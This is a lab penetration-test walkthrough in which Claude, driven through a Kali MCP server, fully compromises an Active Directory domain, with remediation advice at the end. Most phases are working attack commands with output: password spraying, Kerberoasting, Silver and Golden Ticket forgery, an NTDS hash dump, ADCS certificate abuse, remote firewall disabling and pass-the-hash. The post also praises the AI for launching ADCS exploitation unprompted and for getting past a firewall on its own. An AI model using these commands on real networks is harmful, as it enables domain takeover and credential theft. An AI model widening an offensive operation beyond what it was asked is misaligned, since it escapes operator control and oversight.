Disclaimer: This walkthrough was performed entirely within a private, isolated lab environment built for offensive security training. All targets are owned and operated by the author. Never perform these techniques against systems you do not own or have explicit written permission to test.

Overview

What if you could conduct a full Active Directory penetration test by simply describing what you want to do in plain English — and have an AI plan and execute every step for you?

That’s exactly what this post demonstrates. Using Claude (Anthropic’s AI assistant) connected to a Kali Linux MCP server, I fully compromised the MARVEL.local Active Directory domain — including password spraying, Kerberoasting, Silver Ticket and Golden Ticket forgery, ADCS exploitation, and lateral movement to workstations — without manually typing a single command in a terminal.

The result is a glimpse into where offensive security tooling is heading, and a wake-up call for defenders.

What is MCP?

Model Context Protocol (MCP) is an open standard developed by Anthropic that allows AI models like Claude to connect to external tools, servers, and data sources through a standardised interface. Think of it as a plugin system for AI — instead of Claude being limited to generating text, MCP lets it take actions in the real world.

┌──────────────────────────────────────────────────────────┐
│                     Claude (AI)                          │
│                                                          │
│   "Scan 172.16.101.10 for open ports and services"       │
└─────────────────────────┬────────────────────────────────┘
                          │  MCP Protocol
                          ▼
┌──────────────────────────────────────────────────────────┐
│                  Kali MCP Server                         │
│                                                          │
│  Tools exposed:                                          │
│  • nmap_scan          • hydra_attack                     │
│  • gobuster_scan      • john_crack                       │
│  • nikto_scan         • metasploit_run                   │
│  • execute_command    • sqlmap_scan                      │
└─────────────────────────┬────────────────────────────────┘
                          │  Executes on
                          ▼
┌──────────────────────────────────────────────────────────┐
│             Kali Linux (Attack Machine)                  │
│             172.16.101.23                                │
└──────────────────────────────────────────────────────────┘

The Kali MCP Server is a purpose-built MCP server that exposes Kali Linux penetration testing tools to Claude as callable functions. When I type a prompt like “Run an nmap scan of 172.16.101.10”, Claude translates that intent into a structured tool call, the MCP server executes nmap on the Kali machine, and returns the results back to Claude — which then interprets them and suggests next steps.

Setting Up the Kali MCP Server

The setup is straightforward. On your Kali machine, install and start the MCP server:

# Clone and install the Kali MCP server
git clone https://github.com/your-repo/kali-mcp-server
cd kali-mcp-server
pip install -r requirements.txt

# Start the MCP server
python3 server.py --port 5000

Then in Claude’s settings at claude.ai, add the MCP server connection pointing to your Kali instance. Once connected, Claude gains access to all the pentesting tools installed on your Kali machine and can invoke them on your behalf through natural language conversation.

Lab Environment

How the Conversation-Driven Attack Works

Every action in this engagement was initiated through a natural language conversation with Claude in the claude.ai chat interface. The conversation flows exactly like talking to a senior penetration tester — you describe what you want to accomplish, and Claude decides which tools to use, constructs the correct syntax, executes them via MCP, interprets the output, and recommends next steps.

Here is the full attack chain as it actually happened.

Phase 1 — Reconnaissance

The Prompt

“Perform nmap scan of device 172.16.101.10”

Claude immediately invoked the nmap_scan MCP tool with version detection and default scripts, then interpreted every result:

nmap -sV -sC 172.16.101.10

Output returned through MCP:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
                             (Domain: MARVEL.local)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap      Active Directory LDAP over SSL
3268/tcp open  ldap          Active Directory Global Catalog
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

SSL cert: commonName=HYDRA-DC.MARVEL.local
MAC Address: 00:0C:29:59:46:41 (VMware)

Claude’s analysis was immediate — it identified a Domain Controller for MARVEL.local, flagged WinRM on 5985 as a lateral movement path, noted SMB signing was required (protecting against relay attacks on this host), and flagged the IIS server on port 80 as worth enumerating later. No manual analysis required.

Phase 2 — Finding Valid Usernames

The Prompt

“Using the username ‘tstark’ try to find the password for this account”

Claude first attempted Hydra over WinRM — but when it got a result, rather than accepting it, it verified independently using netexec:

# Claude's verification step via execute_command:
netexec smb 172.16.101.10 -u tstark -p 123456

[-] MARVEL.local\tstark:123456 STATUS_LOGON_FAILURE

Claude correctly identified the Hydra result as a false positive — reasoning that http-get authentication on port 5985 is not a reliable method for Windows credential testing — and re-ran the attack properly:

netexec smb 172.16.101.10 -u tstark \
  -p /usr/share/wordlists/rockyou.txt \
  --ignore-pw-decoding

[+] MARVEL.local\tstark:Password1 (Pwn3d!)

This kind of independent error-checking and course-correction is what separates Claude from dumb automation.

Phase 3 — Password Spraying

The Prompt

“Let’s try the below passwords for discovered accounts. Password1 / Password2 / Password3”

Claude built the credential matrix and tested all combinations simultaneously with a single netexec call:

netexec smb 172.16.101.10 \
  -u /tmp/users.txt \
  -p /tmp/passwords.txt \
  --continue-on-success

Results in under 10 seconds:

[+] MARVEL.local\tstark:Password1         (Pwn3d!)
[+] MARVEL.local\administrator:Password1  (Pwn3d!)
[+] MARVEL.local\pparker:Password2

Three accounts compromised with three guesses. The (Pwn3d!) flag confirms local administrator rights on the target for tstark and administrator.

The AI advantage: Claude automatically used --continue-on-success to avoid stopping at the first hit, and correctly chose netexec over Hydra for Windows SMB authentication. Small decisions like these — which tool, which flags — are exactly what requires expertise in traditional pentesting. Claude handles them automatically.

Phase 4 — Kerberoasting

The Prompt

“What would you like to do next? → Kerberoasting / AS-REP Roasting”

Claude explained both attack techniques before executing them. AS-REP Roasting requires no credentials but only works against accounts that have pre-authentication disabled. Kerberoasting requires a valid credential but works against any account with a registered SPN.

AS-REP Roasting — tested all discovered users, none had pre-auth disabled.

Kerberoasting:

impacket-GetUserSPNs MARVEL.local/tstark:Password1 \
  -dc-ip 172.16.101.10 \
  -outputfile /tmp/kerberoast_hashes.txt

ServicePrincipalName                    Name        MemberOf
--------------------------------------  ----------  ----------------------------------------
HYDRA-DC/SQLService.MARVEL.local:60111  SQLService  CN=Group Policy Creator Owners,OU=Groups

Claude then cracked the TGS hash using hashcat with the dive.rule ruleset — choosing this specific rule file because it is among the most effective for real-world passwords:

hashcat -m 13100 /tmp/kerberoast_hashes.txt \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/dive.rule --force

Cracked password: Mypassword123#

Claude immediately followed up by checking SQLService’s actual group memberships via LDAP:

bloodyAD -u SQLService -p 'Mypassword123#' \
  -d MARVEL.local --host 172.16.101.10 \
  get object SQLService --attr memberOf

memberOf: CN=Group Policy Creator Owners
          CN=Domain Admins
          CN=Enterprise Admins
          CN=Schema Admins
          CN=Administrators

Claude flagged this as a critical misconfiguration immediately — a Kerberoastable service account sitting in every privileged group in the domain. One cracked password, and the entire domain is exposed.

Phase 5 — Silver Ticket Attack

The Prompt

“Let’s do [Silver Ticket] first then [GPO Abuse]"

Claude planned the entire chain without further prompting: derive the NTLM hash from the plaintext password, retrieve the domain SID, forge the ticket, and verify it works.

Step 1 — Derive NTLM hash from plaintext:

python3 -c "
import hashlib, binascii
password = 'Mypassword123#'
ntlm = hashlib.new('md4', password.encode('utf-16le')).digest()
print('NTLM hash:', binascii.hexlify(ntlm).decode())
"
# NTLM hash: 7e449687caaf71367ad41ad9490f926d

Step 2 — Retrieve the Domain SID:

impacket-getPac MARVEL.local/tstark:Password1 -targetUser administrator
# Domain SID: S-1-5-21-2307695518-4123695183-373748911

Step 3 — Forge the Silver Ticket:

cd /tmp && impacket-ticketer \
  -nthash 7e449687caaf71367ad41ad9490f926d \
  -domain-sid S-1-5-21-2307695518-4123695183-373748911 \
  -domain MARVEL.local \
  -spn cifs/hydra-dc.MARVEL.local \
  administrator

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for MARVEL.local/administrator
[*] Signing/Encrypting final ticket
[*] Saving ticket in administrator.ccache

Step 4 — Use the forged ticket:

export KRB5CCNAME=/tmp/administrator.ccache
impacket-secretsdump -k -no-pass HYDRA-DC.MARVEL.local \
  -just-dc-user administrator

The DCSync succeeded. The KDC was never contacted — this attack leaves no Kerberos event logs (no Event ID 4768 or 4769) because authentication is handled entirely by the service account’s key.

Silver vs Golden: A Silver Ticket is scoped to a single service (CIFS, HTTP, MSSQL) and signed with the service account’s key. A Golden Ticket — coming up next — is a full TGT signed with the domain’s krbtgt key, granting access to every service in the domain.

Phase 6 — Full Domain Hash Dump

With SQLService confirmed as a Domain Admin, Claude performed a VSS-based dump of the entire NTDS.dit — extracting every password hash for every user and computer account in the domain:

impacket-secretsdump MARVEL.local/SQLService:'Mypassword123#'@172.16.101.10 \
  -use-vss -outputfile /tmp/domain_hashes

Sample of hashes extracted:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5268a143b5a7aa2c2122ea6abb2dc39b:::
MARVEL.local\fcastle:1103:...:64f12cddaa88057e06a81b54e73b949b:::
MARVEL.local\tstark:1104:...:64f12cddaa88057e06a81b54e73b949b:::
MARVEL.local\pparker:1105:...:c39f2beb3d2ec06a62cb887fb391dee0:::
MARVEL.local\SQLService:1106:...:7e449687caaf71367ad41ad9490f926d:::
THEPUNISHER$:1107:...:ad27f8ae623389561892970bf3ffe7f0:::
SPIDERMAN$:1714:...:28398c28978fbbc8a41912e504ec636d:::

Over 100 domain user hashes and all computer account hashes were extracted in a single operation. Claude also noted that fcastle shares the same NTLM hash as Administrator — silent evidence of password reuse.

Phase 7 — Golden Ticket Forgery

The Prompt

“Let’s forge a Golden Ticket, then pivot to the other machines”

With the krbtgt hash now in hand, Claude forged a Golden Ticket valid for 10 years:

impacket-ticketer \
  -nthash 5268a143b5a7aa2c2122ea6abb2dc39b \
  -domain-sid S-1-5-21-2307695518-4123695183-373748911 \
  -domain MARVEL.local \
  -groups 512,513,518,519,520 \
  -user-id 500 \
  -duration 3650 \
  administrator

Verification — DCSync using only the forged ticket, no password:

export KRB5CCNAME=/tmp/administrator.ccache
impacket-secretsdump -k -no-pass HYDRA-DC.MARVEL.local \
  -just-dc-user administrator

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::

Full domain access. No password. 10 years of persistence.

Defender note: The only way to invalidate a Golden Ticket is to reset the krbtgt password twice with an AD replication delay between resets. This invalidates all existing TGTs domain-wide — a highly disruptive operation. This is why attackers treasure the krbtgt hash above all others.

Phase 8 — ADCS Exploitation (ESC1 / ESC7 / ESC8)

This phase was entirely Claude-initiated. After running Gobuster against the IIS server on port 80, Claude spotted /certsrv — the Active Directory Certificate Services web enrollment interface — and immediately pivoted to ADCS exploitation without being asked.

# Gobuster via MCP gobuster_scan tool:
gobuster dir -u http://172.16.101.10 \
  -x asp,aspx,txt \
  -w /usr/share/wordlists/dirb/common.txt \
  -t 30

/certsrv     (Status: 401)   ← Active Directory Certificate Services!
/certenroll  (Status: 301)

Claude then ran certipy to enumerate all certificate template vulnerabilities:

certipy find -u administrator@MARVEL.local -p 'Password1' \
  -dc-ip 172.16.101.10 -stdout

Vulnerabilities found:

Exploiting ESC1 — Certificate-Based Domain Persistence

# Request a certificate impersonating the domain Administrator
certipy req -u administrator@MARVEL.local -p 'Password1' \
  -dc-ip 172.16.101.10 \
  -ca 'MARVEL-HYDRA-DC-CA' \
  -template 'SubCA' \
  -upn 'administrator@MARVEL.local' \
  -out /tmp/admin_cert

[*] Got certificate with UPN 'administrator@MARVEL.local'
[*] Saving certificate and private key to 'admin_cert.pfx'

# Use PKINIT to authenticate with the cert and retrieve TGT + NTLM hash
certipy auth -pfx '/tmp/admin_cert.pfx' \
  -domain MARVEL.local -dc-ip 172.16.101.10

[*] Got TGT
[*] Got hash for 'administrator@marvel.local':
    aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b

This is a certificate-based persistence path that survives password resets. You could change the Administrator password every day — the certificate remains valid until its expiry date, and it can be used to retrieve a fresh NTLM hash at any time.

Phase 9 — Lateral Movement to SPIDERMAN

The Prompt

“spiderman is now online. Let’s try to fully own this machine”

Claude immediately began a systematic approach — scan, identify obstacles, find a path around them.

The initial scan showed all ports filtered — Windows Firewall was blocking direct access from our Kali machine:

nmap -Pn -sT -p 445,135,139,3389,5985 172.16.101.130
# Result: All ports filtered

Claude’s solution: use the Domain Controller — which can reach SPIDERMAN — to disable its firewall remotely via WMI:

# Execute on DC to reach SPIDERMAN via WMI:
impacket-wmiexec MARVEL.local/administrator@172.16.101.10 \
  -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b \
  -nooutput \
  "wmic /node:172.16.101.130 /user:administrator /password:Password1 \
   process call create 'netsh advfirewall set allprofiles state off'"

Then Pass-the-Hash directly to SPIDERMAN:

netexec smb 172.16.101.130 \
  -u administrator \
  -H 64f12cddaa88057e06a81b54e73b949b

SMB  172.16.101.130  445  SPIDERMAN  [*] Windows 10 Enterprise (Build 19043)
SMB  172.16.101.130  445  SPIDERMAN  [+] MARVEL.local\administrator (Pwn3d!)

Full administrative access to SPIDERMAN, achieved through Pass-the-Hash using credentials extracted from the Domain Controller.

The Full Attack Flow — Prompts to Compromise

Here is every natural language prompt that drove this engagement, mapped to what Claude did behind the scenes:

Prompt                                   Claude Action (via MCP)
───────────────────────────────────────────────────────────────────
"Scan 172.16.101.10"                 →   nmap_scan tool

"Find tstark's password"             →   hydra_attack tool
                                     →   execute_command (netexec verify)
                                     →   execute_command (netexec brute)

"Try Password1/2/3 for all users"    →   execute_command (netexec spray)

"Kerberoasting / AS-REP Roasting"    →   execute_command (GetNPUsers)
                                     →   execute_command (GetUserSPNs)
                                     →   execute_command (hashcat)
                                     →   execute_command (bloodyAD enum)

"Silver Ticket then GPO abuse"       →   execute_command (getPac)
                                     →   execute_command (ticketer)
                                     →   execute_command (secretsdump)
                                     →   execute_command (bloodyAD)
                                     →   execute_command (secretsdump VSS)

"Forge a Golden Ticket"              →   execute_command (ticketer)
                                     →   execute_command (secretsdump verify)

[Unprompted — Claude's initiative]   →   gobuster_scan tool
                                     →   nikto_scan tool
                                     →   execute_command (certipy find)
                                     →   execute_command (certipy req)
                                     →   execute_command (certipy auth)

"Own SPIDERMAN"                      →   nmap_scan tool
                                     →   execute_command (wmiexec firewall)
                                     →   execute_command (netexec PTH)

Total time from first prompt to full domain compromise: under 2 hours. Manual terminal commands typed by the operator: 0.

What Makes This Powerful (and Dangerous)

Claude reasons, not just executes

When Hydra returned a false positive password, Claude didn’t blindly report it as a finding. It identified the unreliability of http-get for Windows auth, independently verified with netexec, and corrected course. This is genuine reasoning — not scripted logic.

Claude takes initiative

The ADCS discovery and exploitation in Phase 8 was entirely unprompted. Claude decided on its own to run Gobuster against the IIS server, recognised /certsrv as significant, and executed a full ADCS exploitation chain. A human operator might have missed this entirely.

Claude adapts to obstacles

When SPIDERMAN’s firewall blocked direct access, Claude didn’t stop — it pivoted to using the DC as a relay point, disabled the firewall remotely, and then connected directly. Adaptive problem-solving in real time.

The expertise barrier drops

Chaining Kerberoasting → Silver Tickets → domain dump → Golden Tickets → ADCS exploitation normally requires deep knowledge of AD internals, Kerberos mechanics, and how each tool works. With Claude + MCP, an operator executes this entire chain through conversation. The AI holds the technical knowledge.

Summary of Findings

Remediation Recommendations

1. Enforce strong, unique passwords Require 15+ character passphrases. Deploy a banned password list (e.g. Azure AD Password Protection on-prem) to block patterns like Password1.

2. Fix service account privilege creep SQLService has no business in Domain Admins. Audit all service accounts and apply least-privilege. Migrate to Group Managed Service Accounts (gMSA) — these use 120-character auto-rotating passwords, making Kerberoasting computationally infeasible.

3. Reset krbtgt password twice Reset the krbtgt password twice with an AD replication delay between resets to invalidate all existing Kerberos tickets including forged Golden Tickets.

4. Remediate ADCS misconfigurations

• Disable the SubCA template or restrict enrollment permissions
• Remove ManageCA rights from non-administrative accounts
• Enforce HTTPS on /certsrv to prevent ESC8 NTLM relay attacks
• Run Certipy or PingCastle regularly to audit certificate template security

5. Enable Protected Users security group Adding privileged accounts to Protected Users prevents NTLM authentication, disables RC4 Kerberos, and prevents credential caching — significantly raising the cost of Pass-the-Hash and Kerberoasting.

6. Enable Credential Guard Isolates LSASS in a Hyper-V protected container, preventing in-memory credential dumping.

7. Monitor for attack indicators

Implications for Defenders

The traditional assumption in security is that successful exploitation requires expertise. That barrier has historically been imperfect but meaningful.

Claude + MCP erodes it significantly. The knowledge is now held by the AI.

Environments that rely on “security through complexity” — hoping attackers won’t know about Kerberoasting, ADCS misconfigurations, or Silver Tickets — can no longer count on that obscurity as a buffer. Claude knows about all of it, and can chain these techniques together in a conversation.

The defensive answer is the same as it always was: reduce attack surface, enforce least privilege, monitor aggressively, and assume breach. AI just makes the urgency more acute.

Tools Used

References

• Kali LLM Claude-Desktop
• Anthropic MCP Documentation
• HackTricks — Active Directory Methodology
• SpecterOps — Certified Pre-Owned (ADCS)
• Impacket GitHub
• Certipy GitHub
• NetExec GitHub
• Microsoft — Protected Users Security Group
• Microsoft — Detecting and Mitigating Golden Ticket Attacks